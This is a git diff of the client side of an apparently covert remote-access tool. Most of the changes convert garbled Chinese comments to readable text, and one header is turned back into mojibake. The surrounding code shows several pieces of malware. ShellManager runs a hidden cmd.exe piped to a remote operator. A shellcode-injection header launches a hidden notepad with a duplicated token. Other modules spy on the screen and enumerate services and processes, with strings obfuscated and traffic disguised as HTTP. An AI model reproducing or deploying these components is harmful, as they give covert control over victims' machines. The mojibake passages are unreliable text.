ri.File.c_str(), ri.Line); } catch (...) { if (ri.Excep) { - Mprintf("[%d] δ֪ C++ 쳣. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line); + Mprintf("[%d] 捕获未知 C++ 异常. [%s:%d]\n", ri.tid, ri.File.c_str(), ri.Line); return ri.Excep(ri.User, ri.Param); } - Mprintf("[%d] δ֪ C++ 쳣. ûṩ쳣[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line); + Mprintf("[%d] 捕获未知 C++ 异常. 没有提供异常处理程序[%s:%d]!\n", ri.tid, ri.File.c_str(), ri.Line); } return 0xDEAD0002; } @@ -43,19 +43,19 @@ DWORD HandleCppException(RoutineInfo& ri) DWORD HandleSEHException(RoutineInfo & ri) { __try { - // ִʵ̺߳ + // 执行实际线程函数 return HandleCppException(ri); } __except (EXCEPTION_EXECUTE_HANDLER) { if (ri.Excep) { - Mprintf("[%d] Ӳ쳣̲߳. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + Mprintf("[%d] 捕获硬件异常,线程不会崩溃. [%s:%d] Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); return ri.Excep(ri.User, ri.Param); } - Mprintf("[%d] Ӳ쳣. ûṩ쳣[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); - return 0xDEAD0001; // ش״̬ + Mprintf("[%d] 捕获硬件异常. 没有提供异常处理程序[%s:%d]! Code=%08X\n", ri.tid, ri.File.c_str(), ri.Line, GetExceptionCode()); + return 0xDEAD0001; // 返回错误状态 } } -// ͨ쳣װ +// 通用异常包装函数 DWORD WINAPI ThreadWrapper(LPVOID lpParam) { RoutineInfo *ri = (RoutineInfo *)lpParam; @@ -65,21 +65,21 @@ DWORD WINAPI ThreadWrapper(LPVOID lpParam) if (pRealThreadFunc.Trace) { CAutoLog Log(pRealThreadFunc.Name.c_str()); - // 쳣 + // 异常捕获 return HandleSEHException(pRealThreadFunc); } - // 쳣 + // 异常捕获 return HandleSEHException(pRealThreadFunc); } -// 쳣̣߳¼̵߳ļͺ +// 创建带异常保护的线程,记录创建线程的文件、行数和函数名称 HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { - if (excep) assert(user); // 쳣Ͳͬʱṩ + if (excep) assert(user); // 异常处理函数和参数必须同时提供 if (excep && !user) { - Mprintf("[ERROR] ṩ쳣 user Ϊ NULL, ܾ߳[%s:%d]!\n", file, line); + Mprintf("[ERROR] 提供了异常处理函数但 user 为 NULL, 拒绝创建线程[%s:%d]!\n", file, line); return NULL; } @@ -87,7 +87,7 @@ HANDLE CreateSafeThread(const char*file, int line, const char* fname, OnExceptio HANDLE hThread = ::CreateThread(NULL, dwStackSize, ThreadWrapper, ri, dwCreationFlags, lpThreadId); if (!hThread) { - Mprintf("[ERROR] ߳ʧܣGetLastError=%lu [%s:%d]\n", GetLastError(), file, line); + Mprintf("[ERROR] 创建线程失败:GetLastError=%lu [%s:%d]\n", GetLastError(), file, line); delete ri; return NULL; } diff --git a/client/SafeThread.h b/client/SafeThread.h index 9766223..50d4dbb 100644 --- a/client/SafeThread.h +++ b/client/SafeThread.h @@ -1,10 +1,10 @@ -#pragma once +#pragma once #include "stdafx.h" #include "common/skCrypter.h" typedef DWORD (*OnException)(LPVOID user, LPVOID param); -// 쳣߳ +// 创建带异常保护的线程 HANDLE CreateSafeThread(const char* file, int line, const char* fname, OnException excep, LPVOID user, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index f6f2aa0..23a7ac8 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -1,10 +1,10 @@ -#pragma once +#pragma once #include "stdafx.h" #include "ScreenCapture.h" #include "common/commands.h" -// ֻҪ㰲װ Windows 8 SDK ߰汾 Windows SDKҵ dxgi1_2.h ɹ롣 -// Windows 8 °汾֧ +// 只要你安装了 Windows 8 SDK 或更高版本的 Windows SDK,编译器就能找到 dxgi1_2.h 并成功编译。 +// 仅在 Windows 8 及更新版本上受支持 #include #include @@ -13,7 +13,7 @@ // author: ChatGPT // update: 962914132@qq.com -// DXGI 1.2IDXGIOutputDuplicationȴͳ GDI ͨ 3 10 ֮䣬ȡӲֱʺʹó +// DXGI 1.2(IDXGIOutputDuplication)相比传统 GDI 截屏,性能提升通常在 3 倍到 10 倍之间,具体取决于硬件、分辨率和使用场景。 class ScreenCapturerDXGI : public ScreenCapture { private: @@ -49,7 +49,7 @@ public: { m_iScreenX = 0; m_iScreenY = 0; - // 1. D3D11 豸 + // 1. 创建 D3D11 设备 D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, NULL, 0, nullptr, 0, D3D11_SDK_VERSION, &d3dDevice, nullptr, &d3dContext); IDXGIFactory1* pFactory = nullptr; @@ -57,18 +57,18 @@ public: IDXGIOutput* dxgiOutput = nullptr; IDXGIOutput1* dxgiOutput1 = nullptr; - // 2. + // 2. 创建工厂 CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)&pFactory); if (!pFactory) return; do { - // 3. ȡ豸 + // 3. 获取设备 static UINT idx = 0; idx = pFactory->EnumAdapters1(idx, &dxgiAdapter) == DXGI_ERROR_NOT_FOUND ? 0 : idx; if (!dxgiAdapter) pFactory->EnumAdapters1(idx, &dxgiAdapter); if (!dxgiAdapter)break; - // 4. ȡ DXGI Ļ + // 4. 获取 DXGI 输出(屏幕) static UINT screen = 0; HRESULT r = dxgiAdapter->EnumOutputs(screen++, &dxgiOutput); if (r == DXGI_ERROR_NOT_FOUND && all) { @@ -80,21 +80,21 @@ public: } if (!dxgiOutput)break; - // 5. ȡ DXGI 1 + // 5. 获取 DXGI 输出 1 dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1); if (!dxgiOutput1)break; - // 6. Desktop Duplication + // 6. 创建 Desktop Duplication dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl); if (!deskDupl)break; - // 7. ȡĻС + // 7. 获取屏幕大小 DXGI_OUTDUPL_DESC duplDesc; deskDupl->GetDesc(&duplDesc); m_ulFullWidth = duplDesc.ModeDesc.Width; m_ulFullHeight = duplDesc.ModeDesc.Height; - // 8. CPU + // 8. 创建 CPU 访问纹理 D3D11_TEXTURE2D_DESC desc = {}; desc.Width = m_ulFullWidth; desc.Height = m_ulFullHeight; @@ -106,7 +106,7 @@ public: desc.CPUAccessFlags = D3D11_CPU_ACCESS_READ; d3dDevice->CreateTexture2D(&desc, NULL, &cpuTexture); - // 9. ʼ BITMAPINFO + // 9. 初始化 BITMAPINFO m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight); m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); if (m_bAlgorithm != ALGORITHM_H264) { @@ -117,7 +117,7 @@ public: 4 * m_BitmapInfor_Send->bmiHeader.biHeight; } - // 10. Ļ + // 10. 分配屏幕缓冲区 m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; @@ -127,7 +127,7 @@ public: break; } while (true); - // ͷ DXGI Դ + // 释放 DXGI 资源 if (dxgiOutput1) dxgiOutput1->Release(); if (dxgiOutput) dxgiOutput->Release(); if (dxgiAdapter) dxgiAdapter->Release(); @@ -188,7 +188,7 @@ public: } private: - // ³ʼ Desktop Duplication + // 重新初始化 Desktop Duplication BOOL ReinitDuplication() { if (deskDupl) { @@ -231,11 +231,11 @@ private: if (!ReinitDuplication()) return -10; } - // 1. ȡһ֡ + // 1. 获取下一帧 IDXGIResource* desktopResource = nullptr; DXGI_OUTDUPL_FRAME_INFO frameInfo; HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource); - // ȫлµķʶʧ + // 处理全屏切换导致的访问丢失 if (hr == DXGI_ERROR_ACCESS_LOST) { if (ReinitDuplication()) { hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource); @@ -246,7 +246,7 @@ private: return -1; } - // 2. ȡ ID3D11Texture2D + // 2. 获取 ID3D11Texture2D ID3D11Texture2D* texture = nullptr; hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture); if (FAILED(hr)) { @@ -254,24 +254,24 @@ private: return -2; } - // 3. Ƶ CPU + // 3. 复制到 CPU 纹理 d3dContext->CopyResource(cpuTexture, texture); - // 4. ͷ DXGI Դ + // 4. 释放 DXGI 资源 deskDupl->ReleaseFrame(); texture->Release(); desktopResource->Release(); - // 5. ȡ + // 5. 读取纹理数据 D3D11_MAPPED_SUBRESOURCE mapped; hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped); if (FAILED(hr)) { return -3; } - // 6. ݵֱת + // 6. 复制数据到缓冲区(垂直翻转) BYTE* pData = (BYTE*)mapped.pData; - int rowSize = m_ulFullWidth * 4; // ÿеֽRGBA + int rowSize = m_ulFullWidth * 4; // 每行的字节数(RGBA) BYTE* dest = buffer + reservedBytes + (m_ulFullHeight - 1) * rowSize; BYTE* src = pData; @@ -281,7 +281,7 @@ private: src += mapped.RowPitch; } - // 7. + // 7. 清理 d3dContext->Unmap(cpuTexture, 0); *frameSize = m_ulFullWidth * m_ulFullHeight * 4; diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 0069374..38988d4 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -1,4 +1,4 @@ -// ScreenManager.h: interface for the CScreenManager class. +// ScreenManager.h: interface for the CScreenManager class. // ////////////////////////////////////////////////////////////////////// @@ -65,8 +65,8 @@ public: static BOOL is_run_as_system = IsRunningAsSystem(); return is_run_as_system; } - // ȡǰ棨дȨޣȰȫ棩 - // ʹöľ̬WorkThreadProcg_hDeskͻ + // 获取当前活动桌面(带写权限,用于锁屏等安全桌面) + // 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突 HDESK s_inputDesk = NULL; clock_t s_lastCheck = 0; DWORD s_lastThreadId = 0; @@ -76,16 +76,16 @@ public: uint64_t m_DlgID = 0; BOOL m_SendFirst = FALSE; int m_nMaxFPS = 20; - // + // 虚拟桌面 BOOL m_virtual; POINT m_point; POINT m_lastPoint; BOOL m_lmouseDown; HWND m_hResMoveWindow; LRESULT m_resMoveType; - BOOL m_rmouseDown; // ҼǷ - POINT m_rclickPoint; // Ҽ - HWND m_rclickWnd; // Ҽ + BOOL m_rmouseDown; // 标记右键是否按下 + POINT m_rclickPoint; // 右键点击坐标 + HWND m_rclickWnd; // 右键窗口 }; #endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_) diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index b6edd8a..05e4551 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -1,4 +1,4 @@ -// ScreenSpy.cpp: implementation of the CScreenSpy class. +// ScreenSpy.cpp: implementation of the CScreenSpy class. // ////////////////////////////////////////////////////////////////////// @@ -96,7 +96,7 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength) } *ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage; - return m_RectBuffer; //ڴ + return m_RectBuffer; //内存 } diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 536deb8..96dd24d 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -1,4 +1,4 @@ -// ScreenSpy.h: interface for the CScreenSpy class. +// ScreenSpy.h: interface for the CScreenSpy class. // ////////////////////////////////////////////////////////////////////// @@ -9,7 +9,7 @@ #pragma once #endif // _MSC_VER > 1000 -#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7) +#define COPY_ALL 1 // 鎷疯礉鍏ㄩ儴灞忓箷锛屼笉鍒嗗潡鎷疯礉锛坅dded by yuanyuanxiang 2019-1-7锛? #include "CursorInfo.h" #include "ScreenCapture.h" @@ -83,15 +83,15 @@ private: class CScreenSpy : public ScreenCapture { protected: - HDC m_hDeskTopDC; // 屏幕上下文 - HDC m_hFullMemDC; // 上一个上下文 - HDC m_hDiffMemDC; // 差异上下文 - HBITMAP m_BitmapHandle; // 上一帧位图 - HBITMAP m_DiffBitmapHandle; // 差异帧位图 - PVOID m_BitmapData_Full; // 当前位图数据 - PVOID m_DiffBitmapData_Full; // 差异位图数据 + HDC m_hDeskTopDC; // 灞忓箷涓婁笅鏂? + HDC m_hFullMemDC; // 涓婁竴涓笂涓嬫枃 + HDC m_hDiffMemDC; // 宸紓涓婁笅鏂? + HBITMAP m_BitmapHandle; // 涓婁竴甯т綅鍥? + HBITMAP m_DiffBitmapHandle; // 宸紓甯т綅鍥? + PVOID m_BitmapData_Full; // 褰撳墠浣嶅浘鏁版嵁 + PVOID m_DiffBitmapData_Full; // 宸紓浣嶅浘鏁版嵁 - BOOL m_bVirtualPaint;// 是否虚拟绘制 + BOOL m_bVirtualPaint;// 鏄惁铏氭嫙缁樺埗 EnumHwndsPrintData m_data; public: @@ -200,7 +200,7 @@ public: VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); - // 重置桌面 DC(桌面切换时调用) + // 閲嶇疆妗岄潰 DC锛堟闈㈠垏鎹㈡椂璋冪敤锛? void ResetDesktopDC() { ReleaseDC(NULL, m_hDeskTopDC); diff --git a/client/ServicesManager.cpp b/client/ServicesManager.cpp index 9919bd3..aa8858a 100644 --- a/client/ServicesManager.cpp +++ b/client/ServicesManager.cpp @@ -1,4 +1,4 @@ -// ServicesManager.cpp: implementation of the CServicesManager class. +// ServicesManager.cpp: implementation of the CServicesManager class. // ////////////////////////////////////////////////////////////////////// @@ -71,7 +71,7 @@ LPBYTE CServicesManager::GetServicesList() return NULL; szBuffer[0] = TOKEN_SERVERLIST; dwOffset = 1; - for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,ʾеķ + for (unsigned long i = 0; i < dwServicesCount; ++i) { // Display The Services,显示所有的服务 SC_HANDLE hServices = NULL; DWORD nResumeHandle = 0; @@ -86,40 +86,40 @@ LPBYTE CServicesManager::GetServicesList() if (ServicesInfor == NULL) continue; QueryServiceConfig(hServices,ServicesInfor,4*1024,&dwResumeHandle); - //ѯ + //查询服务的启动类别 ZeroMemory(szRunWay, sizeof(szRunWay)); switch (ServicesStatus[i].ServiceStatus.dwCurrentState) { case SERVICE_STOPPED: { - lstrcatA(szRunWay, skCrypt("ֹͣ")); + lstrcatA(szRunWay, skCrypt("停止")); break; } case SERVICE_START_PENDING: { - lstrcatA(szRunWay, skCrypt("")); + lstrcatA(szRunWay, skCrypt("启动中")); break; } case SERVICE_STOP_PENDING: { - lstrcatA(szRunWay, skCrypt("ֹͣ")); + lstrcatA(szRunWay, skCrypt("停止中")); break; } case SERVICE_RUNNING: { - lstrcatA(szRunWay, skCrypt("")); + lstrcatA(szRunWay, skCrypt("启动")); break; } case SERVICE_CONTINUE_PENDING: { - lstrcatA(szRunWay, skCrypt("")); + lstrcatA(szRunWay, skCrypt("继续")); break; } case SERVICE_PAUSE_PENDING: { - lstrcatA(szRunWay, skCrypt("ͣ")); + lstrcatA(szRunWay, skCrypt("暂停中")); break; } case SERVICE_PAUSED: { - lstrcatA(szRunWay, skCrypt("ͣ")); + lstrcatA(szRunWay, skCrypt("暂停")); break; } default: { - lstrcatA(szRunWay, skCrypt("δ֪")); + lstrcatA(szRunWay, skCrypt("未知")); break; } } @@ -127,27 +127,27 @@ LPBYTE CServicesManager::GetServicesList() ZeroMemory(szAutoRun, sizeof(szAutoRun)); switch (ServicesInfor->dwStartType) { case SERVICE_BOOT_START: { - lstrcatA(szAutoRun, skCrypt("ں")); + lstrcatA(szAutoRun, skCrypt("内核")); break; } case SERVICE_SYSTEM_START: { - lstrcatA(szAutoRun, skCrypt("ϵͳ")); + lstrcatA(szAutoRun, skCrypt("系统")); break; } case SERVICE_AUTO_START: { - lstrcatA(szAutoRun, skCrypt("Զ")); + lstrcatA(szAutoRun, skCrypt("自动")); break; } case SERVICE_DEMAND_START: { - lstrcatA(szAutoRun, skCrypt("ֶ")); + lstrcatA(szAutoRun, skCrypt("手动")); break; } case SERVICE_DISABLED: { - lstrcatA(szAutoRun, skCrypt("")); + lstrcatA(szAutoRun, skCrypt("禁用")); break; } default: { - lstrcatA(szAutoRun, skCrypt("δ֪")); + lstrcatA(szAutoRun, skCrypt("未知")); break; } } @@ -155,7 +155,7 @@ LPBYTE CServicesManager::GetServicesList() dwLength = sizeof(DWORD) + lstrlen(ServicesStatus[i].lpDisplayName) + lstrlen(ServicesInfor->lpBinaryPathName) + lstrlen(ServicesStatus[i].lpServiceName) + lstrlen(szRunWay) + lstrlen(szAutoRun) + 1; - // ̫С· + // 缓冲区太小,再重新分配下 if (LocalSize(szBuffer) < (dwOffset + dwLength)) szBuffer = (LPBYTE)LocalReAlloc(szBuffer, (dwOffset + dwLength), LMEM_ZEROINIT|LMEM_MOVEABLE); @@ -163,18 +163,18 @@ LPBYTE CServicesManager::GetServicesList() continue; memcpy(szBuffer + dwOffset, ServicesStatus[i].lpDisplayName, lstrlen(ServicesStatus[i].lpDisplayName) + 1); - dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//ʵ + dwOffset += lstrlen(ServicesStatus[i].lpDisplayName) + 1;//真实名称 memcpy(szBuffer + dwOffset, ServicesStatus[i].lpServiceName, lstrlen(ServicesStatus[i].lpServiceName) + 1); - dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//ʾ + dwOffset += lstrlen(ServicesStatus[i].lpServiceName) + 1;//显示名称 memcpy(szBuffer + dwOffset, ServicesInfor->lpBinaryPathName, lstrlen(ServicesInfor->lpBinaryPathName) + 1); - dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//· + dwOffset += lstrlen(ServicesInfor->lpBinaryPathName) + 1;//路径 - memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//״̬ + memcpy(szBuffer + dwOffset, szRunWay, lstrlen(szRunWay) + 1);//运行状态 dwOffset += lstrlen(szRunWay) + 1; - memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//״̬ + memcpy(szBuffer + dwOffset, szAutoRun, lstrlen(szAutoRun) + 1);//自启动状态 dwOffset += lstrlen(szAutoRun) + 1; CloseServiceHandle(hServices); @@ -194,7 +194,7 @@ VOID CServicesManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SERVICELIST: SendServicesList(); break; - case COMMAND_SERVICECONFIG: // + case COMMAND_SERVICECONFIG: //其他操作 ServicesConfig((LPBYTE)szBuffer + 1, ulLength - 1); break; default: diff --git a/client/ServicesManager.h b/client/ServicesManager.h index 047ba82..b8e00b6 100644 --- a/client/ServicesManager.h +++ b/client/ServicesManager.h @@ -1,4 +1,4 @@ -// ServicesManager.h: interface for the CServicesManager class. +// ServicesManager.h: interface for the CServicesManager class. // ////////////////////////////////////////////////////////////////////// diff --git a/client/ShellManager.cpp b/client/ShellManager.cpp index 6281329..47e7751 100644 --- a/client/ShellManager.cpp +++ b/client/ShellManager.cpp @@ -1,4 +1,4 @@ -// ShellManager.cpp: implementation of the CShellManager class. +// ShellManager.cpp: implementation of the CShellManager class. // ////////////////////////////////////////////////////////////////////// @@ -16,17 +16,17 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag m_nCmdLength = 0; m_bStarting = TRUE; m_hThreadRead = NULL; - m_hShellProcessHandle = NULL; //Cmd̵Ľ̾߳̾ + m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄 m_hShellThreadHandle = NULL; SECURITY_ATTRIBUTES sa = {0}; sa.nLength = sizeof(sa); sa.lpSecurityDescriptor = NULL; - sa.bInheritHandle = TRUE; //Ҫ + sa.bInheritHandle = TRUE; //重要 m_hReadPipeHandle = NULL; //client m_hWritePipeHandle = NULL; //client m_hReadPipeShell = NULL; //cmd m_hWritePipeShell = NULL; //cmd - //ܵ + //创建管道 if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) { if(m_hReadPipeHandle != NULL) { SAFE_CLOSE_HANDLE(m_hReadPipeHandle); @@ -51,13 +51,13 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag return; } - //Cmd FullPath + //获得Cmd FullPath char strShellPath[MAX_PATH] = {0}; GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32 //C:\windows\system32\cmd.exe strcat(strShellPath,"\\cmd.exe"); - //1 Cmd Input Output Ҫ͹ܵӦ + //1 Cmd Input Output 要和管道对应上 //2 Cmd Hide STARTUPINFO si = {0}; @@ -66,16 +66,16 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag memset((void *)&si, 0, sizeof(si)); memset((void *)&pi, 0, sizeof(pi)); - si.cb = sizeof(STARTUPINFO); //Ҫ + si.cb = sizeof(STARTUPINFO); //重要 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; - si.hStdInput = m_hReadPipeShell; //ֵܵ + si.hStdInput = m_hReadPipeShell; //将管道赋值 si.hStdOutput = si.hStdError = m_hWritePipeShell; si.wShowWindow = SW_HIDE; - //Cmd - //3 ̳ + //启动Cmd进程 + //3 继承 if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) { @@ -90,7 +90,7 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag return; } - m_hShellProcessHandle = pi.hProcess; //Cmd̵Ľ̾߳̾ + m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄 m_hShellThreadHandle = pi.hThread; BYTE bToken = TOKEN_SHELL_START; @@ -110,15 +110,15 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) CShellManager *This = (CShellManager*)lParam; while (This->m_bStarting) { Sleep(100); - //Ƿ ݵĴСǶ - while (PeekNamedPipe(This->m_hReadPipeHandle, // + //这里检测是否有数据 数据的大小是多少 + while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞 szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) { - //ûݾѭ + //如果没有数据就跳出本本次循环 if (dwReturn <= 0) break; memset(szBuffer, 0, sizeof(szBuffer)); LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal); - //ȡܵ + //读取管道数据 ReadFile(This->m_hReadPipeHandle, szTotalBuffer, dwTotal, &dwReturn, NULL); #ifdef _DEBUG @@ -134,7 +134,7 @@ DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam) } SAFE_CLOSE_HANDLE(This->m_hThreadRead); This->m_hThreadRead = NULL; - Mprintf("ReadPipe߳˳\n"); + Mprintf("ReadPipe线程退出\n"); return 0; } @@ -146,7 +146,7 @@ VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } default: { - m_nCmdLength = (ulLength - 2);// "\r\n" + m_nCmdLength = (ulLength - 2);// 不含"\r\n" unsigned long dwReturn = 0; WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL); break; @@ -158,8 +158,8 @@ CShellManager::~CShellManager() { m_bStarting = FALSE; - TerminateProcess(m_hShellProcessHandle, 0); //ԼCmd - TerminateThread(m_hShellThreadHandle, 0); //ԼCmd߳ + TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程 + TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程 Sleep(100); if (m_hReadPipeHandle != NULL) { diff --git a/client/ShellManager.h b/client/ShellManager.h index ca2a47b..3bab1d8 100644 --- a/client/ShellManager.h +++ b/client/ShellManager.h @@ -1,4 +1,4 @@ -// ShellManager.h: interface for the CShellManager class. +// ShellManager.h: interface for the CShellManager class. // ////////////////////////////////////////////////////////////////////// @@ -29,8 +29,8 @@ public: BOOL m_bStarting; HANDLE m_hThreadRead; - int m_nCmdLength; //  - HANDLE m_hShellProcessHandle; //Cmd̵Ľ̾߳̾ + int m_nCmdLength; // 输入的命令长度 + HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄 HANDLE m_hShellThreadHandle; }; diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index d597848..4fae851 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "StdAfx.h" #include @@ -79,12 +79,12 @@ public: // Old system use IsWow64Process if (IsWow64Process(hProcess, &bWow64)) { if (bWow64) { - is64Bit = FALSE; // WOW64 һ 32 λ + is64Bit = FALSE; // WOW64 → 一定是 32 位 } else { #ifdef _WIN64 - is64Bit = TRUE; // 64 λ򲻻 32 λϵͳ Ŀһ64λ + is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位 #else - is64Bit = FALSE; // 32 λ޷жĿǷ64λ Ϊfalse + is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false #endif } return true; @@ -103,7 +103,7 @@ private: { HANDLE hToken = NULL; - // 򿪵ǰ token + // 打开当前进程 token if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID, &hToken)) { @@ -111,7 +111,7 @@ private: return 0; } - // token + // 复制主 token HANDLE hNewToken = NULL; if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { Mprintf("DuplicateTokenEx failed: %d\n", GetLastError()); @@ -124,7 +124,7 @@ private: si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; - // ʹøƺ token notepad + // 使用复制后的 token 启动 notepad if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe", NULL, 0, NULL, NULL, &si, &pi)) { Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError()); @@ -140,7 +140,7 @@ private: CloseHandle(hToken); CloseHandle(hNewToken); - return dwProcessId; // ӽ ID + return dwProcessId; // 返回子进程 ID } // Find process id by name. diff --git a/client/SimpleSCLoader.c b/client/SimpleSCLoader.c index 6ffd938..8081691 100644 --- a/client/SimpleSCLoader.c +++ b/client/SimpleSCLoader.c @@ -1,4 +1,4 @@ -#include +#include #include "../common/aes.h" struct { diff --git a/client/StdAfx.cpp b/client/StdAfx.cpp index a86990a..d3fe845 100644 --- a/client/StdAfx.cpp +++ b/client/StdAfx.cpp @@ -1,4 +1,4 @@ -// stdafx.cpp : source file that includes just the standard includes +// stdafx.cpp : source file that includes just the standard includes // ClientDll.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information diff --git a/client/StdAfx.h b/client/StdAfx.h index bc4c46b..2158f94 100644 --- a/client/StdAfx.h +++ b/client/StdAfx.h @@ -1,4 +1,4 @@ -// stdafx.h : include file for standard system include files, +// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // @@ -6,7 +6,7 @@ #if !defined(AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_) #define AFX_STDAFX_H__46CA6496_AAD6_4658_B6E9_D7AEB26CDCD5__INCLUDED_ -// ǷʹZLIB +// 是否使用ZLIB #define USING_ZLIB 0 #if !USING_ZLIB @@ -21,10 +21,10 @@ #endif // _MSC_VER > 1000 #ifdef _DEBUG -// ڴй©谲װVLDעʹ +// 检测内存泄漏,需安装VLD;否则请注释此行 #include "vld.h" #ifndef VLD_RPTHOOK_REMOVE -#error ڴй©谲װVLDע#include "vld.h"ʹRelease +#error 检测内存泄漏,需安装VLD;否则请注释#include "vld.h",或使用Release编译 #endif #define USING_SAFETHRED 0 #define IsDebug 1 diff --git a/client/SystemManager.cpp b/client/SystemManager.cpp index 3e15621..d4b76d3 100644 --- a/client/SystemManager.cpp +++ b/client/SystemManager.cpp @@ -1,4 +1,4 @@ -// SystemManager.cpp: implementation of the CSystemManager class. +// SystemManager.cpp: implementation of the CSystemManager class. // ////////////////////////////////////////////////////////////////////// @@ -24,17 +24,17 @@ CSystemManager::CSystemManager(IOCPClient* ClientObject,BOOL bHow, void* user):CManager(ClientObject) { if (bHow==COMMAND_SYSTEM) { - // + //进程 SendProcessList(); } else if (bHow==COMMAND_WSLIST) { - // + //窗口 SendWindowsList(); } } VOID CSystemManager::SendProcessList() { - LPBYTE szBuffer = GetProcessList(); //õб + LPBYTE szBuffer = GetProcessList(); //得到进程列表的数据 if (szBuffer == NULL) return; HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); @@ -46,7 +46,7 @@ VOID CSystemManager::SendProcessList() void CSystemManager::SendWindowsList() { - LPBYTE szBuffer = GetWindowsList(); //õб + LPBYTE szBuffer = GetWindowsList(); //得到窗口列表的数据 if (szBuffer == NULL) return; HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); @@ -56,7 +56,7 @@ void CSystemManager::SendWindowsList() LPBYTE 